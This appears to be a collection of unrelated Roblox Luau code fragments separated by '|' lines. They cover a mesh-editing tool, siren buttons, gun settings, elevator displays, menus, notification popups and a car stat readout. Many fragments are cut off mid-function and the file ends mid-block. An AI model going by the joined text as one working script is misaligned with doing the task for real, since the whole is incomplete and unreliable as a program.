ColorPickerHandle = Roact.unmount(ColorPickerHandle)
end;
})
ColorPickerHandle = ColorPickerHandle and
Roact.update(ColorPickerHandle, ColorPickerElement) or
Roact.mount(ColorPickerElement, Core.UI, 'ColorPicker')
end)
-- Enable the mesh adding button
AddButton.Button.MouseButton1Click:Connect(function ()
AddMeshes();
end);
RemoveButton.Button.MouseButton1Click:Connect(function ()
RemoveMeshes();
end);
-- Hook up manual triggering
local SignatureButton = MeshTool.UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(MeshTool.ManualText, MeshTool.Color.Color, SignatureButton)
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not MeshTool.UI then
return;
end;
-- Get all meshes
local Meshes = GetMeshes();
-- Identify all common properties
local MeshType = Support.IdentifyCommonProperty(Meshes, 'MeshType');
local MeshId = Support.IdentifyCommonProperty(Meshes, 'MeshId');
local TextureId = Support.IdentifyCommonProperty(Meshes, 'TextureId');
local VertexColor = VectorToColor(Support.IdentifyCommonProperty(Meshes, 'VertexColor'));
-- Check if there's a file mesh in the selection
local FileMeshInSelection = false;
for _, Mesh in pairs(GetMeshes()) do
if Mesh.MeshType == Enum.MeshType.FileMesh then
FileMeshInSelection = true;
break;
end;
end;
-- Identify common scales and offsets across axes
local XScaleVariations, YScaleVariations, ZScaleVariations = {}, {}, {};
local XOffsetVariations, YOffsetVariations, ZOffsetVariations = {}, {}, {};
for _, Mesh in pairs(GetMeshes()) do
table.insert(XScaleVariations, Support.Round(Mesh.Scale.X, 3));
table.insert(YScaleVariations, Support.Round(Mesh.Scale.Y, 3));
table.insert(ZScaleVariations, Support.Round(Mesh.Scale.Z, 3));
table.insert(XOffsetVariations, Support.Round(Mesh.Offset.X, 3));
table.insert(YOffsetVariations, Support.Round(Mesh.Offset.Y, 3));
table.insert(ZOffsetVariations, Support.Round(Mesh.Offset.Z, 3));
end;
local CommonXScale = Support.IdentifyCommonItem(XScaleVariations);
local CommonYScale = Support.IdentifyCommonItem(YScaleVariations);
local CommonZScale = Support.IdentifyCommonItem(ZScaleVariations);
local CommonXOffset = Support.IdentifyCommonItem(XOffsetVariations);
local CommonYOffset = Support.IdentifyCommonItem(YOffsetVariations);
local CommonZOffset = Support.IdentifyCommonItem(ZOffsetVariations);
-- Shortcuts to updating UI elements
local AddButton = MeshTool.UI.AddButton;
local RemoveButton = MeshTool.UI.RemoveButton;
local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox;
local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox;
local VertexColorIndicator = MeshTool.UI.TintOption.Indicator;
local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox;
local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox;
local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox;
local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox;
local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox;
local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox;
-- Update the inputs
UpdateDataInputs {
[MeshIdInput] = MeshId and ParseAssetId(MeshId) or MeshId or '*';
[TextureIdInput] = TextureId and ParseAssetId(TextureId) or TextureId or '*';
[XScaleInput] = CommonXScale or '*';
[YScaleInput] = CommonYScale or '*';
[ZScaleInput] = CommonZScale or '*';
[XOffsetInput] = CommonXOffset or '*';
[YOffsetInput] = CommonYOffset or '*';
[ZOffsetInput] = CommonZOffset or '*';
};
UpdateColorIndicator(VertexColorIndicator, VertexColor);
-- Update selection state
local MeshTypeLabel = Support.FindTableOccurrence(MeshTypes, MeshType)
if MeshTool.CurrentType ~= MeshTypeLabel then
MeshTool.CurrentType = MeshTypeLabel
MeshTool.OnTypeChanged:Fire(MeshTypeLabel)
end
AddButton.Visible = false;
RemoveButton.Visible = false;
MeshTool.UI.TypeOption.Visible = false;
MeshIdInput.Parent.Visible = false;
TextureIdInput.Parent.Visible = false;
VertexColorIndicator.Parent.Visible = false;
MeshTool.UI.ScaleOption.Visible = false;
MeshTool.UI.OffsetOption.Visible = false;
-- Update the UI to display options depending on the mesh type
local DisplayedItems;
if #Meshes == 0 then
DisplayedItems = { AddButton };
-- Each selected part has a mesh, including a file mesh
elseif #Meshes == #Selection.Parts and FileMeshInSelection then
DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton };
-- Each selected part has a mesh
elseif #Meshes == #Selection.Parts and not FileMeshInSelection then
DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton };
-- Only some selected parts have meshes, including a file mesh
elseif #Meshes ~= #Selection.Parts and FileMeshInSelection then
DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton };
-- Only some selected parts have meshes
elseif #Meshes ~= #Selection.Parts and not FileMeshInSelection then
DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton };
end;
-- Display the relevant UI elements
DisplayLinearLayout(DisplayedItems, MeshTool.UI, UDim2.new(0, 0, 0, 20), 10);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not MeshTool.UI then
return;
end;
-- Hide the UI
MeshTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetMeshes()
-- Returns all the meshes in the selection
local Meshes = {};
-- Get any meshes from any selected parts
for _, Part in pairs(Selection.Parts) do
table.insert(Meshes, Support.GetChildOfClass(Part, 'SpecialMesh'));
end;
-- Return the meshes
return Meshes;
end;
function ParseAssetId(Input)
-- Returns the intended asset ID for the given input
-- Get the ID number from the input
local Id = tonumber(Input)
or tonumber(Input:lower():match('%?id=([0-9]+)'))
or tonumber(Input:match('/([0-9]+)/'))
or tonumber(Input:lower():match('rbxassetid://([0-9]+)'));
-- Return the ID
return Id;
end;
function VectorToColor(Vector)
-- Returns the Color3 with the values in the given Vector3
-- Make sure that the given Vector3 is valid
if not Vector then return end;
-- Return the Color3
return Color3.new(Vector.X, Vector.Y, Vector.Z);
end;
function ColorToVector(Color)
-- Returns the Vector3 with the values in the given Color3
-- Make sure that the given Color3 is valid
if not Color then return end;
-- Return the Vector3
return Vector3.new(Color.r, Color.g, Color.b);
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function UpdateColorIndicator(Indicator, Color)
-- Updates the given color indicator
-- If there is a single color, just display it
if Color then
Indicator.BackgroundColor3 = Color;
Indicator.Varies.Text = '';
-- If the colors vary, display a * on a gray background
else
Indicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);
Indicator.Varies.Text = '*';
end;
end;
function DisplayLinearLayout(Items, Container, StartPosition, Padding)
-- Keep track of the total vertical extents of all items
local Sum = 0;
-- Go through each item
for ItemIndex, Item in ipairs(Items) do
-- Make the item visible
Item.Visible = true;
-- Position this item underneath the past items
Item.Position = StartPosition + UDim2.new(
Item.Position.X.Scale,
Item.Position.X.Offset,
0,
Sum + Padding
);
-- Update the sum of item heights
Sum = Sum + Padding + Item.AbsoluteSize.Y;
end;
-- Resize the container to fit the new layout
Container.Size = UDim2.new(0, 200, 0, 30 + Sum);
end;
function AddMeshes()
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Parts) do
-- Make sure this part doesn't already have a mesh
if not Support.GetChildOfClass(Part, 'SpecialMesh') then
-- Queue a mesh to be created for this part
table.insert(Changes, { Part = Part });
end;
end;
-- Send the change request to the server
local Meshes = Core.SyncAPI:Invoke('CreateMeshes', Changes);
-- Put together the history record
local HistoryRecord = {
Meshes = Meshes;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the meshes
Core.SyncAPI:Invoke('Remove', Record.Meshes);
end;
Apply = function (Record)
-- Reapplies this change
-- Restore the meshes
Core.SyncAPI:Invoke('UndoRemove', Record.Meshes);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function RemoveMeshes()
-- Get all the meshes in the selection
local Meshes = GetMeshes();
-- Create the history record
local HistoryRecord = {
Meshes = Meshes;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Restore the meshes
Core.SyncAPI:Invoke('UndoRemove', Record.Meshes);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
Apply = function (Record)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the meshes
Core.SyncAPI:Invoke('Remove', Record.Meshes);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Meshes);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
local PreviewInitialState = nil
function SetPreviewTint(Tint)
-- Previews the given tint on the selection
-- Reset tints to initial state if previewing is over
if not Tint and PreviewInitialState then
for Mesh, State in pairs(PreviewInitialState) do
Mesh.VertexColor = State.VertexColor
end
-- Clear initial state
PreviewInitialState = nil
-- Skip rest of function
return
-- Ensure valid tint is given
elseif not Tint then
return
-- Save initial state if first time previewing
elseif not PreviewInitialState then
PreviewInitialState = {}
for _, Mesh in pairs(GetMeshes()) do
PreviewInitialState[Mesh] = { VertexColor = Mesh.VertexColor }
end
end
-- Apply preview tint
for Mesh in pairs(PreviewInitialState) do
Mesh.VertexColor = Tint
end
end
function SetProperty(Property, Value)
-- Make sure the given value is valid
if not Value then
return;
end;
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, [Property] = Mesh[Property] });
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function SetAxisScale(Axis, Scale)
-- Sets the selection's scale on axis `Axis` to `Scale`
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Scale = Mesh.Scale });
-- Put together the changed scale
local Scale = Vector3.new(
Axis == 'X' and Scale or Mesh.Scale.X,
Axis == 'Y' and Scale or Mesh.Scale.Y,
Axis == 'Z' and Scale or Mesh.Scale.Z
);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, Scale = Scale });
end;
-- Register the changes
RegisterChange();
end;
function SetAxisOffset(Axis, Offset)
-- Sets the selection's offset on axis `Axis` to `Offset`
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Offset = Mesh.Offset });
-- Put together the changed scale
local Offset = Vector3.new(
Axis == 'X' and Offset or Mesh.Offset.X,
Axis == 'Y' and Offset or Mesh.Offset.Y,
Axis == 'Z' and Offset or Mesh.Offset.Z
);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, Offset = Offset });
end;
-- Register the changes
RegisterChange();
end;
function SetMeshId(AssetId)
-- Sets the meshes in the selection's mesh ID to the intended, given mesh asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
MeshId = 'rbxassetid://' .. AssetId;
};
-- Attempt a mesh extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractMeshFromAsset', AssetId)
:Then(function (ExtractionData)
-- Ensure extraction succeeded
assert(ExtractionData.success, 'Extraction failed');
-- Apply any mesh found
local MeshId = ExtractionData.meshID;
if MeshId then
Changes.MeshId = 'rbxassetid://' .. MeshId;
end;
-- Apply any texture found
local TextureId = ExtractionData.textureID;
if TextureId then
Changes.TextureId = 'rbxassetid://' .. TextureId;
end;
-- Apply any vertex color found
local VertexColor = ExtractionData.tint;
if VertexColor then
Changes.VertexColor = Vector3.new(VertexColor.x, VertexColor.y, VertexColor.z);
end;
-- Apply any scale found
local Scale = ExtractionData.scale;
if Scale then
Changes.Scale = Vector3.new(Scale.x, Scale.y, Scale.z);
end;
end);
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Create the history change requests for this mesh
local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Mesh[Property];
After[Property] = Value;
end;
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function SetTextureId(AssetId)
-- Sets the meshes in the selection's texture ID to the intended, given image asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
TextureId = 'rbxassetid://' .. AssetId;
};
-- Attempt an image extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId)
:Then(function (ExtractedImage)
Changes.TextureId = 'rbxassetid://' .. ExtractedImage;
end);
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Create the history change requests for this mesh
local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Mesh[Property];
After[Property] = Value;
end;
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncMesh', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncMesh', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncMesh', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
--SIREN CONTROLS |
HUB.Sound.Off.MouseButton1Click:connect(function()
carSeat.Parent.Body.Lightbar.M.Wail:Stop()
carSeat.Parent.Body.Lightbar.M.Yelp:Stop()
carSeat.Parent.Body.Lightbar.M.Priority:Stop()
HUB.Sound.Off.BackgroundColor3 = Color3.new(255,0,0)
HUB.Sound.P.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.W.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.Y.BackgroundColor3 = Color3.new(0,0,0)
end)
HUB.Sound.P.MouseButton1Click:connect(function()
carSeat.Parent.Body.Lightbar.M.Wail:Stop()
carSeat.Parent.Body.Lightbar.M.Yelp:Stop()
carSeat.Parent.Body.Lightbar.M.Priority:Play()
HUB.Sound.P.BackgroundColor3 = Color3.new(255,0,0)
HUB.Sound.Off.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.W.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.Y.BackgroundColor3 = Color3.new(0,0,0)
end)
HUB.Sound.W.MouseButton1Click:connect(function()
carSeat.Parent.Body.Lightbar.M.Wail:Play()
carSeat.Parent.Body.Lightbar.M.Yelp:Stop()
carSeat.Parent.Body.Lightbar.M.Priority:Stop()
HUB.Sound.W.BackgroundColor3 = Color3.new(255,0,0)
HUB.Sound.P.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.Off.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.Y.BackgroundColor3 = Color3.new(0,0,0)
end)
HUB.Sound.Y.MouseButton1Click:connect(function()
carSeat.Parent.Body.Lightbar.M.Wail:Stop()
carSeat.Parent.Body.Lightbar.M.Yelp:Play()
carSeat.Parent.Body.Lightbar.M.Priority:Stop()
HUB.Sound.Y.BackgroundColor3 = Color3.new(255,0,0)
HUB.Sound.P.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.W.BackgroundColor3 = Color3.new(0,0,0)
HUB.Sound.Off.BackgroundColor3 = Color3.new(0,0,0)
end)
|
----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does |
local Damage = 8 |
-- new.Pname.Position = UDim2.new(0,0,0,80)
-- new.Pname.Size = UDim2.new(1,0,1,0) |
end
new.Parent = sf--Parent to scrolling frame
end
wait()
sf.Size = UDim2.new(0.6,0,0,ui.AbsoluteContentSize.Y)
sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y)
--Give enough room for the frames to sit in
end
wait(1)
end
|
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- -- |
Elevator:WaitForChild("Direction").Changed:connect(function(val)
if val == 1 then
SetDisplay(1,"U1",9)
wait(3)
SetDisplay(1,"NIL",9)
elseif val == -1 then
SetDisplay(1,"D1",9)
wait(3)
SetDisplay(1,"NIL",9)
else
SetDisplay(1,"NIL",9)
end
end)
|
-- Compare two strings character-by-character.
-- Optionally clean up small common substrings, also known as chaff. |
function diffStringsRaw(a: string, b: string, cleanup: boolean): Array<Diff>
local diffs = diffStrings(a, b)
if cleanup then
cleanupSemantic(diffs) -- impure function
end
return diffs
end
return {
diffStringsUnified = diffStringsUnified,
diffStringsRaw = diffStringsRaw,
}
|
--// Gun Parts |
local L_23_ = L_1_.Bolt
local L_24_ = L_1_.Mag
local L_25_ = L_1_.FirePart
local L_26_ = L_4_:WaitForChild('FX')
local L_27_
|
--You can change the values below to suit your needs |
local max_mode = 8 --The maximum amount of modes forwards. Set to 0 to disable forwards motion.
local min_mode = -8 --The minimum amount of modes backwards. Set to 0 to disable backwards motion.
local increment_speed = 0.5 --The amount in which the speed value increments with every mode.
|
-- |
local door1 = script.Parent.Door1
local door2 = script.Parent.Door2
local vaf = script.Parent.Values
local caf = script.Parent.Calls
local sef = script.Parent.Settings
|
-- UI elements |
local intro = script.Parent:WaitForChild("Intro")
intro.Visible = true
local tokensLabel = script.Parent:WaitForChild("Tokens") -- textlabel
local tokens = game.Players.LocalPlayer:WaitForChild("Tokens") -- value
wait(2)
game.Workspace.Camera.CameraType = Enum.CameraType.Scriptable
game.Workspace.Camera.CFrame = CFrame.new(game.Workspace.IntroTunnel.CameraOrigin.Position,game.Workspace.IntroTunnel.CameraFace.Position)
local topStatus = script.Parent:WaitForChild("TopStatus")
topStatus.Text = status.Value
status:GetPropertyChangedSignal("Value"):Connect(function()
topStatus.Text = status.Value
end)
tokensLabel.Text = tokens.Value
tokens:GetPropertyChangedSignal("Value"):Connect(function()
tokensLabel.Text = tokens.Value
end)
intro.Play.MouseButton1Click:Connect(function()
if game.ReplicatedStorage.MapVoting.Value == true then
script.Parent.MapVoting.Visible = true
end
intro.Visible = false
topStatus.Visible = true
game.ReplicatedStorage.MenuPlay:FireServer()
game.Workspace.Camera.CameraType = Enum.CameraType.Custom
end)
game.ReplicatedStorage.KillFeed.OnClientEvent:Connect(function(text)
script.Parent.KillFeed.Visible = true
script.Parent.KillFeed.Text = text
wait(2)
script.Parent.KillFeed.Visible = false
end)
game.ReplicatedStorage.Announcement.OnClientEvent:Connect(function(text)
script.Parent.Announcement.Text = text
script.Parent.Announcement.Visible = true
wait(5)
script.Parent.Announcement.Visible = false
end)
intro.Store.MouseButton1Click:Connect(function()
script.Parent:WaitForChild("Shop").Visible = true
intro.Visible = false
end)
script.Parent.ShopBtn.MouseButton1Click:Connect(function()
script.Parent.Shop.Visible = not script.Parent.Shop.Visible
end)
script.Parent:WaitForChild("Shop"):WaitForChild("Close").MouseButton1Click:Connect(function()
if game.Players.LocalPlayer:FindFirstChild("InMenu") then
intro.Visible = true
end
script.Parent:WaitForChild("Shop").Visible = false
end)
|
--// All global vars will be wiped/replaced except script |
return function(data)
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local frame = script.Parent.Parent
local close = frame.Frame.Close
local main = frame.Frame.Main
local title = frame.Frame.Title
local timer = frame.Frame.Timer
local gTable = data.gTable
local clickfunc = data.OnClick
local closefunc = data.OnClose
local ignorefunc = data.OnIgnore
local name = data.Title
local text = data.Message or data.Text or ""
local time = data.Time
local returner = nil
if clickfunc and type(clickfunc)=="string" then
clickfunc = client.Core.LoadCode(clickfunc, GetEnv())
end
if closefunc and type(closefunc)=="string" then
closefunc = client.Core.LoadCode(closefunc, GetEnv())
end
if ignorefunc and type(ignorefunc)=="string" then
ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())
end
--client.UI.Make("NotificationHolder")
local holder = client.UI.Get("NotificationHolder",nil,true)
if not holder then
local hold = service.New("ScreenGui")
local hTable = client.UI.Register(hold)
local frame = service.New("ScrollingFrame", hold)
client.UI.Prepare(hold)
hTable.Name = "NotificationHolder"
frame.Name = "Frame"
frame.BackgroundTransparency = 1
frame.Size = UDim2.new(0, 200, 0.5, 0)
frame.Position = UDim2.new(1, -210, 0.5, -10)
frame.CanvasSize = UDim2.new(0, 0, 0, 0)
frame.ChildAdded:Connect(function(c)
if #frame:GetChildren() == 0 then
frame.Visible = false
else
frame.Visible = true
end
end)
frame.ChildRemoved:Connect(function(c)
if #frame:GetChildren() == 0 then
frame.Visible = false
else
frame.Visible = true
end
end)
holder = hTable
hTable:Ready()
end
local function moveGuis(holder,mod)
local holdstuff = {}
for i,v in pairs(holder:GetChildren()) do
table.insert(holdstuff,1,v)
end
for i,v in pairs(holdstuff) do
v.Position = UDim2.new(0,0,1,-75*(i+mod))
end
holder.CanvasSize=UDim2.new(0,0,0,(#holder:GetChildren()*75))
local pos = (((#holder:GetChildren())*75) - holder.AbsoluteWindowSize.Y)
if pos<0 then pos = 0 end
holder.CanvasPosition = Vector2.new(0,pos)
end
holder = holder.Object.Frame
title.Text = name
frame.Name = name
main.Text = text
main.MouseButton1Click:Connect(function()
if frame and frame.Parent then
if clickfunc then
returner = clickfunc()
end
frame:Destroy()
moveGuis(holder,0)
end
end)
close.MouseButton1Click:Connect(function()
if frame and frame.Parent then
if closefunc then
returner = closefunc()
end
gTable:Destroy()
moveGuis(holder,0)
end
end)
moveGuis(holder,1)
frame.Parent = holder
frame:TweenPosition(UDim2.new(0,0,1,-75),'Out','Linear',0.2)
spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = 'http://www.roblox.com/asset/?id='.."203785584"--client.NotificationSound
sound.Volume = 0.2
wait(0.1)
sound:Play()
wait(0.5)
sound:Destroy()
end)
if time then
timer.Visible = true
spawn(function()
repeat
timer.Text = time
--timer.Size=UDim2.new(0,timer.TextBounds.X,0,10)
wait(1)
time = time-1
until time<=0 or not frame or not frame.Parent
if frame and frame.Parent then
if ignorefunc then
returner = ignorefunc()
end
frame:Destroy()
moveGuis(holder,0)
end
end)
end
repeat wait() until returner ~= nil or not frame or not frame.Parent
return returner
end
|
--// All global vars will be wiped/replaced except script |
return function(data)
local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
local gone = false
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = frame.BackgroundTransparency
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local function fadeIn()
gTable:Ready()
for i = 1,fadeSteps do
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
--frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
end
local function fadeOut()
if not gone then
gone = true
for i = 1,fadeSteps do
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
service.UnWrap(gui):Destroy()
end
end
gTable.CustomDestroy = function()
fadeOut()
end
fadeIn()
if not tim then
local _,time = message:gsub(" ","")
time = math.clamp(time/2,4,11)+1
wait(time)
else
wait(tim)
end
if not gone then
fadeOut()
end
end
|
--STATREADER:WaitForChild("Close") |
car:WaitForChild("STATREADER")
local STATREADER = car.STATREADER:WaitForChild("Frame")
STATREADER:WaitForChild("C")
STATREADER:WaitForChild("FD")
STATREADER:WaitForChild("FI")
STATREADER:WaitForChild("HP")
STATREADER:WaitForChild("HPB")
STATREADER:WaitForChild("IC")
STATREADER:WaitForChild("N")
STATREADER:WaitForChild("P2W")
STATREADER:WaitForChild("PSI")
STATREADER:WaitForChild("TS")
STATREADER:WaitForChild("Tires")
STATREADER:WaitForChild("W")
STATREADER:WaitForChild("Logo1")
STATREADER:WaitForChild("Logo2")
local function RoundNumber(Number, Divider)
Divider = Divider or 1
return (math.floor((Number/Divider)+0.5)*Divider)
end
if STATREADER:FindFirstChild("Logo1") and STATREADER:FindFirstChild("Logo2") then
if STATREADER.Logo1.Image == "rbxassetid://1112860376" and STATREADER.Logo2.Image == "rbxassetid://1112860376" and STATREADER.Logo2.ImageTransparency == 0 then
--[[STATREADER.Close.MouseButton1Click:connect(function()
STATREADER.Parent:Destroy()
end)]]
if _Tune.CompressRatio ~= nil then
STATREADER.C.Text = "Compression: ".._Tune.CompressRatio
else
STATREADER.C.Text = "Compression: Data Not Available"
end
if _Tune.Horsepower ~= nil then
STATREADER.HP.Text = "N/A Power: "..RoundNumber(_Tune.Horsepower,1).."hp"
else
STATREADER.HP.Text = "N/A Power: Data Not Available"
end
if _Tune.Horsepower ~= nil and _Tune.Boost ~= nil and _Tune.CompressRatio ~= nil and _Tune.Aspiration ~= nil then
if _Tune.Aspiration == "Single" then
STATREADER.HPB.Text = "Boosted Power: "..RoundNumber(_Tune.Horsepower+(_Tune.Horsepower*((((1*_Tune.Boost*1)*(_Tune.CompressRatio/10))/7.5))/2),1).."hp"
STATREADER.PSI.Text = "Turbo Psi: ".._Tune.Boost.."psi"
STATREADER.TS.Text = "Turbo Size: ".._Tune.TurboSize.."mm"
elseif _Tune.Aspiration == "Double" then
STATREADER.HPB.Text = "Boosted Power: "..RoundNumber(_Tune.Horsepower+(_Tune.Horsepower*((((1*_Tune.Boost*2)*(_Tune.CompressRatio/10))/7.5))/2),1).."hp"
STATREADER.PSI.Text = "Turbo Psi: ".._Tune.Boost.."psi x2"
STATREADER.TS.Text = "Turbo Size: ".._Tune.TurboSize.."mm x2"
elseif _Tune.Aspiration == "Natural" then
STATREADER.HPB.Text = "Boosted Power: Data Not Available"
STATREADER.PSI.Text = "Turbo Psi: Data Not Available"
STATREADER.TS.Text = "Turbo Size: Data Not Available"
end
else
STATREADER.HPB.Text = "Boosted Power: Data Not Available"
STATREADER.PSI.Text = "Turbo Psi: Data Not Available"
STATREADER.TS.Text = "Turbo Size: Data Not Available"
end
if _Tune.InclineComp ~= nil then
STATREADER.IC.Text = "InclineComp: ".._Tune.InclineComp
else
STATREADER.IC.Text = "InclineComp: Data Not Available"
end
STATREADER.N.Text = "Name: "..car.Name
if _Tune.Weight ~= nil then
STATREADER.W.Text = "Weight: ".._Tune.Weight.."lbs"
else
STATREADER.W.Text = "Weight: Data Not Available"
end
if _Tune.Aspiration ~= nil then
STATREADER.FI.Text = "Forced Induction: ".._Tune.Aspiration
else
STATREADER.FI.Text = "Forced Induction: Data Not Available"
end
if _Tune.FDMult ~= nil then
STATREADER.FD.Text = "FDMultiplier: ".._Tune.FDMult
else
STATREADER.FD.Text = "FDMultiplier: Data Not Available"
end
if _Tune.Horsepower ~= nil and _Tune.Weight ~= nil then
if _Tune.Boost ~= nil and _Tune.CompressRatio ~= nil and _Tune.Aspiration ~= nil then
if _Tune.Aspiration == "Single" then
STATREADER.P2W.Text = "P/W Ratio: "..RoundNumber((_Tune.Horsepower+(_Tune.Horsepower*((((1*_Tune.Boost*1)*(_Tune.CompressRatio/10))/7.5))/2))/_Tune.Weight,.0001)
elseif _Tune.Aspiration == "Double" then
